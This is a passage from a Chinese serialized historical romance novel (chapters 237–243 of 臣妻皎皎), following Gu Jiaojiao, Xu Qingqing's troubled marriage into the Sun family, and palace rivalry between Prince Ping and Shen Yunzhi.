如此尴尬的场面,顾皎皎只能逃离,在沈云祉点头后,顾皎皎便上了马车,片刻都没有停留。 沈云祉看着那马车渐行渐远,才转过身看向身后的二人。 双剑一脸无辜,他也拦过的,但没有拦住。 沈云祉缓步走过来,站到双瑞面前。 “如今是没人管得了你了,是吗?公主,郡主,本王的婚事,你做主了?” “小王爷明鉴啊,您都听到了,她,她说我肥头大耳。” 双瑞一脸急切,迫切的想解释,却根本解释不到正地方。 “她说的有错吗?说来也是,你跟在本王身边,日日忙碌,怎的还越来越肥了?” 说完,沈云祉便转身向前走去。 双瑞当然想辩解一番,可沈云祉没给他机会,便又继续说了下去。 “回去后,自己去领十军棍。” 双瑞顿时蔫了,向双剑投去求救的目光,可双剑根本不理会他。 此时,顾皎皎和莺儿一同乘坐马车回顾府。 “你怎么这么不谨慎,那是小云南王,那二人也是小云南王的手下,你倒是伶牙利齿。” 顾皎皎扶着狂跳不止的心脏,久久不能平静下来。 “那双瑞口出狂言,还说什么若是姑娘是世家小姐便好了,就能与他家王爷相配,奴婢自是不能忍的,什么狗屁王爷,我们姑娘才不稀罕呢。” 莺儿是跟着顾皎皎长大的,又因孙家的事,她会格外介意别人说她家姑娘的身份,在她心里,顾皎皎就是全天下最好的姑娘。 顾皎皎轻叹了一口气,她跟双瑞有过几次接触,深知他并非是瞧不起她,而是了解世家的种种规矩。 “好了,不气了,我知你是为了我好,只是我与那些官家子女确实是身份悬殊,一言一行皆要小心谨慎才好。” 顾皎皎的语气缓和了一些,低声劝着。 莺儿虽是听话的点头,但很明显还是气着,满脸的不服气。 顾皎皎轻笑着揉了揉她的头,无奈的开口。 “好了,我知道你也饿了,我们去第一楼,让姜厨娘给你做你最爱吃的熏鸡。” 听到好吃的,莺儿顿时一扫之前的阴霾,高兴不已。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十八章 低人一等 平王府。 结束了一天的忙碌,平王和平王妃都疲惫不堪,但因为今天的事,他们卧在榻上,却无心睡眠。 平王对安阳候府一家人厌恶至极,喜宴结束,他便让徐青青跟着孙家人一起回了安阳候府,甚至都没留他们过夜。 “今日小云南王代皇上传圣旨,真是威风的紧。” “原本以为这孙家也是候府出身,可是看来看去,这一家子都是堪说的。” “王爷今日给足了他们颜面,但妾身只怕,他们只会蹬鼻子上脸。” 平王妃絮絮叨叨的说了许多对孙家的不满,说到底,她从始至终都看不上这一家人,更看不上徐青青。 她无法入眠,自也是知道,明日京城里便会传遍关于这场婚宴之事,到时候官中女子妇人不知要如何议论于她。 “好了,睡吧。” 平王的语气突然变得不耐烦,甚至带着一丝怒气。 平王妃有些意外,想要再说些什么时,平王却侧身背对于她。 她不知道的是,平王如此不快,担忧,并不是因为颜面之事,而是因为那件披风。 那场战役后,他也寻了那件披风许久,但一直都没有蛛丝马迹,他便想着或是那战乱中的大火里毁掉了,那样他便可高枕无忧。 就这般平平静静的过了五年,今日那件披风突然出现,难免不会让他惊慌。 那可是一城的人命,若是真的被翻出来,他这个王爷也是做到头了,但转念一想,沈云祉既然敢当面拿出来,就证明他手里没有足够的证据,不然,他早就交与皇上了。 想到这里,平王倒是放松了一些,便也安然入睡。 翌日。 安阳候府。 落败不堪的候府终于将这位郡主娶进家门,想着以后的日子会越来越好,候府中的各个都似打了鸡血一般。 不同的是,她们本以为可以像拿捏顾皎皎一样拿捏徐青青,却不想成婚后的第一日,便让徐青青给了他们一个教训。 按照规矩,徐青青作为新妇,第一日是要早起给婆母敬茶,并侍候用膳的,但因昨夜折腾太晚,日上三竿,她才起来。 待徐青青赶到老太太屋里时,整间屋子里的气氛都有些异样。 “儿媳请婆母安,见过两位嫂嫂。” 徐青青是美的,也守着规矩先行行礼,跪在地上,带着一丝谦卑。 孙家人最不知道的,便是什么是见好就收。 “哟,弟媳起的可真早,按理说这早茶也是老祖宗留下来的规矩,弟媳这个时候过来,不知是用早茶,还是午茶啊。” 二房的刘氏向来是口无遮拦的,坐在孙老夫人身侧开口便是嘲讽。 “婆母见谅,昨晚从别院回来,折腾的有些晚了,是儿媳的不是,日后定不会如此。” 新婚第一日,向来傲慢无礼的徐青青也收敛了一些性子,想着日后都是一家人,得过且过。 孙老夫人冷着一张脸,丝毫不接徐青青的话茬。 “徐青青,你虽是平王府出来的,又是郡主的身份,可既然嫁到我家了,那便要遵守我家的规矩,如此散慢,如何做个本分的新妇?” “是啊,三弟妹,今日你确实过了一些,婆母在这里等了你大半日,你这也太不成体统了。” “还是郡主,如此不懂规矩,日后不定还会做什么事,平王府没教会你规矩,日后便我来教你。” 孙老夫人带着她的两个儿媳一唱一喝,恨不得将若大的罪名安在徐青青头上,其实这都是她们早就商量好的。 徐青青有郡主的身份,她们怕日后不好拿捏,便想着好好教导一番,立立规矩,日后便能像顾皎皎一样听话了。 所以今日,就算徐青青不出什么差错,也逃不掉这顿责罚。 但另她们婆媳三人完全没想到的是,徐青青根本不吃这一套。 徐青青脸上的柔和散去,未得孙老夫人的令,她也还是利落的站起身,抬手扫了扫身上不存在的尘土后,她便侧身坐到了那把空着的椅子上。 “那我便听听,这候府都有什么样的规矩?” 徐青青的表现,让在场的人都怔住了。 半晌,刘氏才反应过来,厉声开口。 “徐青青,你好大的胆子,你不敬婆母,不敬嫂嫂,就算是到了平王府,这也是一大不孝之罪。” 徐青青冷哼一声,微昂着头,傲慢骄傲,对面前的几人满是不屑。 “那你们便去告啊,我等着。” 她停顿了一下后,看向孙老夫人,才继续开口。 “婆母怕不是忘了,我徐青青是郡主,也是你们千恩万谢求来的,人们都说新婚三日无大小,孙家婆母带着两个蠢货想给我下马威,也得掂量掂量自己的份量。” 徐青青能将孙协兆哄的服服帖帖,自有她的心机,至少不算太蠢。 孙老夫人被这话气的直发抖。 “徐青青,我是你的婆母,你竟然……” “婆母息怒,你要知道,先有我徐青青,才有你这个婆母,我不是顾皎皎,收起你们那些小心思,让人看着恶心。” 徐青青站起身,又突然想起什么似的补了一句。 “二位嫂嫂做事之前也要三思,你们现在指我过活,便要知道自己是低人一等,不然,我若想分家,二位嫂嫂该如何自处?” “实在是没有休息好,我还累着,既然婆母没心思喝敬茶,那便也罢了,我回院再睡会儿,对了,午膳时命人将膳食给我送过来,我便不出来走动了。” 说完,徐青青便扭着纤细的腰枝头也不回的离开了,留下那三人面面相觑。 这三个人向来是各怀鬼胎的,最先想的也是拿捏徐青青,而后便有不断的银钱进入她们的口袋,可现在…… 徐青青将她们看透了,偏偏她们丝毫办法都没有,这安阳候府若是真的再闹分家,她们可是一点好处都捞不到的。 “婆母,三弟向来孝顺,不如将此事说与三弟听听?” 章氏算是有城府的,一句话说到要害。 新婚第一日就被新妇‘教训’一番,孙老夫人自然是咽不下这口气,随即命人去找孙协兆。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十九章 是他们活该 第一楼。 顾皎皎一直忙着,好不容易休息一下,莺儿就带来了‘好消息’。 “听闻那安阳候府第一日便鸡飞狗跳的,那老太太还将向孙三告状来着,可孙三护着徐青青,甚至还跟老太太争吵起来。” 除此之外,还打探到,徐青青在安阳候府无比嚣张,吃穿用度都要按着她的喜好,至于其他人,她谁也不放在眼里,但她会讨好孙协兆。 莺儿絮絮叨叨的说了许多有关孙家的事。 “只成婚第一日便闹成这样。” 顾皎皎品着茶,低声开口,神情上也没什么变化。 “是啊,这孙家是吃人不吐骨头的,他们还以为那徐青青像我们姑娘一样好欺负呢,不曾想……” 莺儿终于意识到自己说错了话,声音戛然而止,缓缓抬关,试探着看向顾皎皎。 顾皎皎拿着杯子的手还是顿了顿,而后莞尔一笑。 “你说的也没错,我当时就是太天真了,但徐青青不同,她是自幼在弄堂里长大的,会把控人手,自然不会任人欺负。” “姑娘,对不起,莺儿只是觉得他们孙家人有今天,是他们活该。” “是活该,不过依我之见,他们是会忍着徐青青的。” 顾皎皎低垂着眼眸,如今再提到孙家人,她只像是在说着陌生人一般,神色不变,淡定自持。 莺儿思索了一下,也点了点头。 “也是,孙家如今过的捉襟见肘,他们若是惹怒了徐青青,怕是又要过回从前的日子。” 徐青青不只有郡主的身份,昨日成婚,按照规矩收了不少礼钱,平王都给她了,平王与平王妃也依礼给她备了一份厚厚的嫁妆。 不只如此,皇上的赏赐不少,到底都是以郡主新婚的名义,平王也都依样给了徐青青。 这些东西下来,只怕孙家人都眼冒绿光了,别说徐青青只是无礼,就算是她在安阳候府烧房子,那一家子吸血鬼也得忍着。 聊了一会儿闲事,顾皎皎忍不住打了个哈欠。 她抬眼看了看窗外,已然过了午时。 “莺儿,我睡会儿。” 这个时间第一楼已然不是很忙,她也能抽空歇息一下。 莺儿立即将阁楼里的床榻收拾了一下,还贴心的点了一支安神香,让其能睡得安稳一些。 可即使有安神香,顾皎皎也在刚刚睡下半刻钟被吵醒了。 阁楼不是其他人能上来的,但楼下的吵闹声,也是不绝于耳。 顾皎皎坐起身,听不清楼下的人在吵闹什么,但这声音却很是熟悉。 她在心里暗暗的沉了一口气,才起身向楼下走去。 顾皎皎缓步从台阶而下,楼下的声音也越来越清晰。 “本姑娘在这里,别说她顾皎皎是睡了,就是死了,也得给我站过来。” “你们这群人是什么东西,竟然敢拦我,我看你们这第一楼是不想干了。” “顾皎皎,你给我滚出来,顾皎皎。” 赵蕴苎少了大家闺秀的端庄与沉稳,即使有下人们拦着,她也疯了似的二楼间来回的寻找着。 楼下还有三三两两的客人,被她这般一闹,自然是都等着看热闹。 顾皎皎迈下最后一步台阶之时,赵蕴苎也看到她,欲冲上来,却被第一楼的伙计拦下。 “你们去忙吧。” 顾皎皎声音平静,纤细的身材立在那里,却给人一种孤傲的感觉。 赵蕴苎看着她,冷哼一声,看着那群下人散去,她才走到顾皎皎面前。 “你可真是好手段,我几次三番提醒于你,你竟全然不放在心上。” 她愤恨的目光,丝毫不用掩饰,大抵也是因为身份的原因,她也从不顾及别人的目光。 “不知赵姑娘何意?” 顾皎皎心里明镜一般,但还是噙着淡淡的笑,装出一无所知的模样。 “不知?昨日平王府喜宴,你是不是又与玉荣哥哥单独相处了?我是不是提醒过你,离他远一些,你……” “没有。” 顾皎皎毫不犹豫的开口,打断了赵蕴苎的话。 赵蕴苎怔了怔,此时才发现今日的顾皎皎与往日不同。 以前,顾皎皎都是讨好着她,或者说是步步都顺着她的意思的。 “没有?已经有人告诉我了,你还敢不承认?” “我昨日是偶然遇到了杜大人,但喜宴之上,众人皆在,何来单独相处一说?” 顾皎皎并未表现出恼怒,从始至终都保持着淡定自若的模样。 赵蕴苎微张着嘴,一副不甘心的模样。 “即使是在婚宴之上,你不也惹得玉荣哥哥为你说话吗?若不是你有意勾引,他怎会与旁人争吵?” 赵蕴苎瞪着眼睛,理直气壮。 顾皎皎心里不禁冷笑,只一日的时间,赵蕴苎便知喜宴上的咸,甚至连细枝末节都知道,看样子,是有人成心了。 “赵姑娘比我更了解杜大人为人,路见不平,他向来是拔刀相助的,当日赵姑娘出言相帮,不也是和杜大人一样的心思吗?” 顾皎皎感觉太阳穴有些痛,大抵是没有休息好,但还要强撑着精神应付赵蕴苎,心底涌起一阵烦躁。 赵蕴苎一时语塞,半晌才缓缓开口。 “话虽如此,可是……” “赵姑娘,昨晚你并不在场,但对于发生了什么却一清二楚,自是有人特意想让你知道的,可你是否想过,若是我与杜大人有越矩之处,今日消息早就遍布大街小巷了。” 顾皎皎看了看下面,许多人看似是在用膳,却都竖着耳朵倾听呢。 她收回目光,再次将坚定的目光投向赵蕴苎。 “我这身份与名声也就罢子,可杜大人如明月清风,此等闲话搅扰离间是其一,其二岂不是要让杜大人名声扫地,还有赵姑娘你。” 她的话,赵蕴苎倒是听进去了,但却是没能理解她的意思。 “此话何意?又干我何事?” “就像今日,赵姑娘来我这里吵闹一通,明面上自是不会有人说什么,可是暗地里,不免会有人议论身为首辅大人的孙女家教不严,若是再被人听到与男子有关……” 顾皎皎故意没有说下去,但言语之间的不悦已然很是明显。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十章 与你何干 赵蕴苎金尊玉贵,行事向来张扬,这些年在京城之中,为围着杜玉荣跑来跑去,也是引起一些议论的,可她并不放在心上。 只是今日,顾皎皎却提到了家教二字上。 “顾皎皎,你好大的胆子,竟然敢说我没有家教。” 赵蕴苎听出了顾皎皎话中的意思,顿时火冒三丈,可顾皎皎却是淡然一笑。 “赵小姐说笑了,我这种身份的人何以有资格说旁人的家教,只是就事论事罢了。” 她自嘲的笑意那样明显,倒让赵蕴苎一时无法发作,半晌,这位首辅大人的孙女才昂着头再次开口。 “就算是有人成心,但是你也确实与玉荣哥哥接近了,我是不允许任何女子与玉荣哥哥靠近的。” 她一未成婚的女子,说出这般话不曾有一点心虚,倒是让顾皎皎羡慕。 “说实话,我不敢保证,我开门做生意,不可能将顾客向外赶。” 顾皎皎难得的态度强硬。 赵蕴苎咬着牙,半天都没有说出一个字,只是那眸子里的光芒,渐渐黯淡下去。 “赵姑娘,近日似是来这第一楼频繁了些。” 一道声音响起,也是赵蕴苎褪去尖锐的原因。 “玉荣哥哥,你怎么来了?” 赵蕴苎的声音都柔和了几分,眉眼俱笑,是见到杜玉荣的喜悦,也是掩饰刚刚自己所做所为的尴尬。 杜玉荣却没有理会她,而是冲顾皎皎微微抱拳。 “打扰顾姑娘,家母近来身体不适,总觉得口中无味,想吃香酥醋鱼,只是府中厨娘换了几个却都不及第一楼,是以来打扰顾姑娘了。” 顾皎皎淡淡的笑着,微微点头后,看向莺儿。 “去,让后厨备上,做好后,送去杜大人府上,找个腿脚快的,那鱼要趁热吃才好。” 她细致的吩咐着,莺儿立即去办。 “有劳顾姑娘了。” 杜玉荣温和有礼。 “杜大人客气了,本是我应该做的。” 他们二人的对话客套有礼,可见平时相处也是这般。 赵蕴苎被晾在一边,面色有些难看,想来她刚刚的所做所为,杜玉荣也都听到了一些。 “玉荣哥哥原来是替伯母买鱼,便是这京城中最孝顺之人了。” 赵蕴苎眼睛晶亮,看向杜玉荣的目光满是炙热。 此时,杜玉荣也终于将目光移到她身上。 “赵姑娘说笑了,这本是身为儿女的本份,谈不到孝顺一说,只是赵姑娘来此,是为何?” 杜玉荣是君子,为人磊落,自是不想顾皎皎为他受委屈。 “我,我只是来,我想,想吃……” 赵蕴苎一时慌乱,支支吾吾半天也没说出个所以然。 顾皎皎站在一旁,头痛不已,没有多少精力再陪他们站着。 “二位不如进房间里坐着聊吧,我还有事要处理,就不打扰二位了。” 她微微欠身,言语得体,而后便一副事不关己的模样从二人身边走过。 顾皎皎的云淡风轻,赵蕴苎的嚣张跋扈,在此刻形成了鲜明的对比。 “玉荣哥哥,里面请。” 赵蕴苎自是想跟杜玉荣多待一些时间的,指向身后的门,眉眼都是期盼。 杜玉荣却只是微微后退一步。 “不敢,男女授受不亲,共处一室难掩流言,在下告辞了。” 他欲转身,赵蕴苎却立即挡在了他面前。 “荣哥哥是生气了,我知道今日所行之事不妥,可我也是怕那顾皎皎动了什么歪心思,不想你将自己前程与名声毁与此女子身上。” 她说的诚恳。 杜玉荣停下脚步,微低着头,面无表情的看着她,一字一顿的开口。 “与你何干?” 这四个字,冰冷疏离,让赵蕴苎的眼中瞬间袭满晶莹,她拉着杜玉荣衣袖的手都在微微颤抖。 “荣哥哥,你,你怎会这般说?” “赵姑娘,我在首辅大人手下做事,小心谨慎,与姑娘多了些往来,也是因为两家关系尚好,别无其他。” 他停顿了一下后,又坚定的再次开口。 “说到这,那在下便再多一句嘴,在下从祖辈下来一直都是书香门第,家教极严,更不曾有不实的谣言传出,这段时日因着赵姑娘,我已多次被人诟病。” 他从未像今日这般直接,让赵蕴苎的脸上红一阵白一阵,拉着杜玉荣衣袖的手更紧了几分。 “荣哥哥,这不是我本意,何况我们自小一起长大,外人说什么有那么重要吗?” “姑娘身份贵重,首辅大人的亲孙女,赵家的掌上明珠,自是人人避让,什么都不在乎,甚至不惜几次来找一个弱女子的麻烦,这些不正是因为姑娘的身份与众不同吗?” “在下不同,在下族中便是清流之辈,这些流言足以让在下令家族蒙羞,告辞。” 杜玉荣毫不犹豫的将衣袖从赵蕴苎的手中抽出,大步离开之时,连头都没有回。 赵蕴苎眼中含着的泪不受控制的落了下来,她只觉双腿发软,若不是身边的侍女扶着,她怕是会倒下去。 从小到大,她一直都是围着杜玉荣转的,杜玉荣温柔知礼,也从未对她说过这般重话,可今日…… “姑娘,别哭了,杜大人是至情至性之人,并不是针对你。” 身边的侍女小声的安慰着。 赵蕴苎的脑海中却不断回响着杜玉荣的话,他今日如此生气,定然是听到了她对顾皎皎所说之言。 她一时不分清,是自己行为太过,还是杜玉荣在为顾皎皎出气。 赵蕴苎缓了许久才离开第一楼,就如杜玉荣说的一般,她在这里闹成这样,也不曾有人对她有半句议论。 待所有人散去后,莺儿才上了阁楼,本想向顾皎皎汇报刚刚的情景,却发现顾皎皎竟睡着了。 莺儿不禁露出笑意。 她家姑娘向来辛劳,也难得有这种躺下便睡熟的时候,莺儿上前轻手轻脚的为顾皎皎盖被子,但看到她脸的时候,却不禁愣了一下。 顾皎皎脸颊微红,呼吸也有些急促,但双眼紧闭,莺儿觉得她状态不对,伸手探上她的额头,却被吓了一跳。 “哎呀,这样烫。” 莺儿立即跑出去叫人。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十一章 英雄难过美人关 皇宫。 平王进宫谢恩,却发现沈云祉一直在皇上身边。 皇上身子一直不好,一天里,大部分时间都是在床榻之上,但近来,由云南王和小云南王陪着,倒时常去园子里逛逛,就连吃食也比往日多了不少。 这些,都是平王在进宫之时,花了银钱向宫中的公公们打探出来的。 “臣特来谢恩,谢皇上赏赐。” 平王这谢恩也未免太随意了些,微微躬了躬身子,抱了抱拳,便算是过了。 此时,皇上正与沈云祉下棋,手中握着一权黑子,思索良久才缓缓落下。 沈云祉身体后倾,轻叹了一口气。 “皇上又赢了,臣心服口服。” “哈哈,你莫要以为你让着朕,朕看不出来。” 皇上说着时,才转头看向平王,脸上的笑意消散了不少。 “赐坐。” 平王自是看出皇上的不悦,他却根本不在乎,坐下时,冷眼扫向沈云祉。 “自云南王回京,小云南王便甚少出宫,怕不是将这皇宫当家了吧?” 即使是当着皇上的面,平王也丝毫没有掩饰自己的情绪,这自也是因为听说,皇上将宫中的凝景堂给小云南王居住。 沈云祉迎着平王的目光,却只是笑而不语。 “留云祉在宫中,是朕的意思,平王觉得不妥?” 皇上开口维护,目光也显得凌厉。 平王并未起身,微微点头。 “皇上明鉴,云南王回京,云南边境无人看守,怕是边境会起异心,小云南王常居宫中,也难免不会有人议论,小云南王有不臣之心。” 平王每一个字都说的那般理直气壮,好像都是在为皇上,为朝廷着想一般。 沈云祉低笑出声,眉眼间显露出一抹震惊。 “平王所言与今日朝堂之上几位言官的言论竟出奇的一致,只是我不明白,那外面所谓不臣之心的传言都是何人在传?” “你行事不妥,自有言官开口,若是有不敬的行为,也自然是有些言论,小云南王就算不为云南王府考虑,也得为圣上考虑。” “依平王之言,我该立即出宫,我父王应立即返回云南,便是对皇上敬重了?若是别人说皇上对蕃王无信提防,也不用理会?” “沈云祉,你这是偷换概念,你……” “够了。” 皇上厉声喝道,使平王后面的话没有说下去。 “朕说了,留云南王与云祉在宫中是朕的瘟,平王如此为朝廷考虑,最先知道的应该是什么是圣旨。” 皇上话音落下之时,也忍不住咳嗽两声,眼中的怒气久久未散。 平王一时无言。 沈云祉则立即起身,将一杯茶递到皇上手上。 沈云祉对皇上的敬重是从心底里发出的,但落在平王眼里,只觉得他是有意讨好,别有用心。 皇上缓了一下后,才开口。 “平王府刚办完喜事,想来也是有些忙碌,平王早些出宫去吧。” 这是逐客令。 平王咬的牙都咯吱咯吱作响,却也只能起身离开。 “皇上,臣送送平王。” 沈云祉行了个礼,皇上自是知道他有话跟平王说,便准了。 平王走出宫殿没多久,沈云祉便追了上来。 “小云南王如今可谓是春风得意啊。” 平王冷眼瞟了他一眼,双手背在身后,高昂着头继续向前走着。 “平王叔说笑了,要说春风得意怎可比得了平王叔。” 沈云祉缓步在平王身侧,装出很是羡慕平王一般的继续说了下去。 “平王一心求子,就找到了女儿,如今女儿成亲,对方还是候府,虽是与平王府不匹配,却也勉强算是可以,平五叔的女婿又是能干之人,这事事顺意,岂是旁人可以比得来的。” 沈云祉句句都是事实,句句也都戳中平王的痛处。 “说到能干,那孙协兆也曾是你的门下,跟在你身边数载,却还是一事无成,想来,小云南王也没什么本事。” “那是自然,我啊,本就没什么本事,不然怎会连养了几年的人都会背叛,不过,这孙协兆自从跟了平王叔后,倒是大有长进。” 沈云祉难得这般,让平王不禁提高了警惕,转头看向他时,目光里都是提防。 “你什么意思?” “平王不知吗?孙协兆为娶令爱,在外借了许多印子钱,以前也没发现,他竟有这副胆量。” 于帝王之家,只听过放印子钱的,没听说过借的,平王面上自然无光。 当然了,这事平王自是知晓的,只是不成想会被沈云祉抬到了明面上。 “小云南王真是有心啊,竟然连别人的隐私之事都查的一清二楚。” “唉,这只是小事,对了,还有一事,如今这城中,都知孙公子捉襟见肘,如今娶了郡主,他的境况也会好些,不如平王叔高抬贵手,让孙公子莫要再为难顾皎皎?” 沈云祉突然提到了一个不相干的女子,自然会让平王想到孙家人之前的嘴脸。 “沈云祉,你好歹也是王爷之身,今日竟为一女子说好话,难免有失身份吧。” “平王叔说笑了,自古英雄难过美人关,也是人之常情嘛。” 沈云祉今日的言行有些古怪,平王一时分不清他的意图,说多错多,最后他也只是冷哼一声,而后拂袖而去。 沈云祉站在原地,看着平王的身影越来越远,他脸上的笑意也渐渐消失。 此时,双瑞从侧面走了过来。 “小王爷何故提到顾姑娘,平王心思阴狠,不择手段,怕他觉得您在意顾姑娘,而对顾姑娘不利。” 双瑞难得的脑子清楚一回,让沈云祉看向他的目光都多了一丝震惊。 “不错啊,知道动脑子了,虽然动的不多。” 沈云祉转身往回走,还不忘调侃双瑞几句。 “小王爷莫要拿属下开玩笑,属下只是觉得,如今我们在宫中,若是顾姑娘有什么事,不能及时相帮,怕是……” 双瑞说的也是事实。 顾云祉却只是笑了笑,抬手拍了拍双瑞的肩膀。 “放心吧,这京城之中最不希望顾皎皎出事的,现在就只有平王了。” 他笑的邪魅,眉眼间满是高傲与自信。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十二章 不是一家人,不进一家门 顾皎皎病了两日,郎中开了几幅方子,都是诊治风寒的,交代她好好休养。 这两日里,她也未曾踏出顾府一步。 “今日阳光倒好。” 顾皎皎伏在窗前,一头乌黑的长发直至腰间,她的面容依旧有些憔悴,看着却比前两日有精神些。 “姑娘莫想了,郎中说了,你不可出门吹风,快,将这药喝了。” 莺儿到底是跟在她身边最久的人,她一开口就知道她要做什么。 一股浓重的药气传来,顾皎皎捏着鼻子勉强的喝了下去。 莺儿不禁偷笑。 “姑娘还和小时候一样,受伤都不怕,但却怕极了喝药,这是我新制的酸梅,姑娘吃两颗压压。” 这丫头忠心,也了解顾皎皎。 顾皎皎在喝下最后一口药后,没有任何迟疑的将一颗酸梅丢入口中,神色才缓和了一些。 正在此时,下人在门外通报,说是有人拜见。 顾皎皎逮着机会便欲起身,却被莺儿按在榻上。 “姑娘莫动,我去。” 莺儿临出门前还交代门口的两个丫头,让她们看住顾皎皎。 顾皎皎撇了撇嘴,一脸无奈。 两日了,她不曾出府,甚至不曾踏出这屋子一步,当真是闷坏了。 不一会儿,莺儿就回来了,还带了几盒东西。 顾皎皎歪着头,没有开口,疑惑却都挂在脸上。 “是杜大人派人送来的。” 莺儿将一众东西摆在顾皎皎身侧的矮几上,说话时声音都压低了许多,似是怕别人发现。 顾皎皎原本不解的神色更甚。 “你是说,杜大人派人送来的?” “是,是一个小厮,他说了,杜大人怕给姑娘带来麻烦,不便亲自上门。” 莺儿停顿了一下,又指了指那两盒子东西。 “这里有一些补品,还有几幅药,说是宫里的太医开的方子,效果极佳。” 顾皎皎看着那满满两盒的东西,一时不知该说些什么。 近来,她刻意与杜玉荣保持距离,自是为了不想招惹麻烦,但如今难免不会想到,他曾经那般不遗余力的帮自己,内心总是愧疚。 “那人可还说什么了?” 顾皎皎抬眼,晶莹的眸子有异样的情绪闪过。 莺儿歪着头,像是思索了一番,才缓缓的摇了摇头。 “也没别的了,只说让姑娘好好将养着。” 这是杜玉荣所有的话。 顾皎皎暗暗叹了口气,扯动下嘴角。 “收起来吧。” 莺儿应着,但走了几步又折了回来。 “姑娘,奴婢倒是觉得杜大人人好心善,若是为了其他而刻意疏远,倒显得姑娘……” 小气。 这两个字莺儿是没有说出来的,但顾皎皎可以轻易明白。 她没有说话,抬手便欲将手中的枕头丢出去。 莺儿这才逃也似的离开了房间。 翌日。 顾皎皎的身子好些了,不顾莺儿的阻拦出府。 天气渐冷,她的身子又刚刚好转,只下了马车走几步,她便觉得有些疲累。 “莺儿,那里有个茶馆,我们去喝杯茶吧。” 顾皎皎眨巴着大眼睛,一脸真诚。 莺儿歪着头看了她许久。 “姑娘若是累了便直说,还喝什么茶。” 这丫头率先一步进入了那茶摊,让小二上了一壶最好的茶,可即使是最好的,也不及第一楼的茶。 顾皎皎被拆穿也不放在心上,哼了一声便走了过去。 主仆二人刚坐下不久,便有一队人声势浩大的从街道上走过。 前方为首的男子坐在马上,高昂着头,扫视周边的人都是一副高高在上的模样,他的身边跟着几个下人,看似很是重要一般。 而在男子的身后,便是一驾马车,这样豪华规格的马车,即使是公主出行也不为过。 “竟然是孙三,那里面的一定就是徐青青了。” 莺儿无不鄙夷的开口。 也不知道今日是什么日子,大病初愈,就遇到了这样不吉的事,顾皎皎收回目光,不屑于看前方的‘盛景’。 “里面坐着那位就是平王新认回的女儿,三日前出嫁,今日这般,怕是归宁。” “女子归宁隆重些也无妨,可是这般招摇,怕是皇宫里的公主都不曾这样。” “那又如何,那平王向来目中无人,他的女儿能好到哪里去。” “真是不是一家人,不进一家门,那安阳候府的也不是什么好玩意。” 只是这样一个小茶摊上,便已经开始有人小声议论,可见这场面会引起多大的轰动。 顾皎皎似是突然想到了什么,顺着这条路看过去。 “我记得平王府不在这个方向,既然是归宁,怎会走这里?” 她低声说着,却不想被刚走过来添水的小二听到。 “姑娘这就不知道了吧,平王妃不喜这位郡主,即使是归宁,也不让她入王府,现在是朝别院去呢。” 又是别院。 看样子,不管是平王,还是平王妃,对徐青青都极为厌恶,若不是有礼数拘着,怕是别院的门也进不了。 这般明显,但凡是有脑子的人都该知晓才是,可是这孙协兆与徐青青却还能做到如此张扬。 人啊,脸皮一旦厚起来,也算是一种本事。 顾皎皎心里这样想着,也未将此事当一回事。 平王府别院。 女儿归宁,按理说府里应该是热闹一番,至少也要有下人们在院子里候着,以显示着来人的身份尊贵。 可是,当孙协兆与徐青青踏进院子的那一刻,看到的便是一片冷清。 没有下人相迎,甚至看不到别院里的任何装饰,空荡荡的院子里,一眼便望到头了,只有李嬷嬷从不远处走来。 “姑娘,姑爷安好,王妃在正堂候着呢,请随奴婢来。” 李嬷嬷做足了礼,只是这话,却让徐青青不满,一边向院子里走着,一边抱怨着。 “怎的这般冷清,父王不知我今日回来吗?” “为何是王妃在等着,父王呢?” “李嬷嬷,你也是父王身边的老人了,既知我今日回来,怎么也不提醒父王提前准备着。” 徐青青一句接着一句,真的将自己当成了平王府的郡主。 李嬷嬷在前方带路,只是回以微笑,并未回答她任何问题。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百四十三章 无愧于心 平王妃端坐在正厅,但偌大的厅里,也只有平王妃。 徐青青看着眼前的人,眉头紧锁,脸上的不悦清晰可见。 “小婿拜见岳母大人,岳母大人安好。” 孙协兆不在意那些小节,即使是平王妃也是他够不着的身份。 见孙协兆行礼,徐青青也只得跪下行礼问安,而后二人一起向平王妃敬茶。 这杯茶平王妃也是不愿喝的,奈何要顾及平王。 今晨,提到了徐青青归宁之事,平王脸色极为难看,他近来宫中事务不顺,更不会将多余的时间和精力分给这徐青青。 平王不来,又不想落人口实,最后便让平王妃过来,算是全是这份颜面。 平王妃喝完敬茶后,将提前准备好的红包分给下面跪着的二人,才缓缓开口。 “平身吧。” 这三个字说的冷淡异常,而后抬眼看向孙协兆。 “女婿莫怪,王爷本是跟我一同来的,但宫中有要事,一道圣旨下来,王爷不敢违抗,只得先入宫见驾。” 这自然是推托之词。 孙协兆立即抱拳行礼。 “岳母大人言重了,岳父大人身居高位,自是以朝廷之事为重。” “你们如此懂事便好了,对了,我已命人准备午膳,你们过来也劳累了,先去偏房休息,稍后命人去喊你们。” 平王妃瞧不徐青青,更瞧不上孙协兆,片刻也不愿与他们多待。 孙协兆自是听话的,拉着徐青青转身之时,却被徐青青拦了一下。 “夫君先去歇息,我与母亲说几句话。” 这母亲二字,她可是咬着牙说的。 孙协兆微微点头,而后先行离开。 “王妃莫不是以为我蠢,我归宁之日是大日子,父王怎会不在?我看是王妃用了什么手段,才说出这般敷衍之词。” 徐青青自成婚之后是越发放肆了,自是因为她如今是安阳候府的人,觉得平王妃拿她没有办法了。 平王妃冰冷的目光投来,脸上都是嫌弃。 “你以为你不蠢吗?” 此话一出,徐青青的脸色就变了,但平王妃没给她说话的机会。 “我不说这些敷衍之词说什么?难不成当着你夫君的面直言,王爷不喜你们夫妇二人,根本懒得一见?” “不可能。” 徐青青突然高吼出声,瞪着平王妃像瞪着仇人一般。 “父王如此疼爱于我,怎会不愿见我?定是王妃心生嫉恨,用了什么下三滥的手段,父王才……” 啪! 一记响亮的耳光响起,徐青青的头也不自觉的歪向一边。 动手的人是平王妃身边的冬儿,下手利落干脆,力量十足。 “平王妃贵为王妃,即使是你婆母见了也得礼让三分,你一个不知从哪里冒出来的贱蹄子,竟然也敢骂王妃?” 冬儿只是一个下人,却也敢对徐青青这般,可见她在王府的地位。 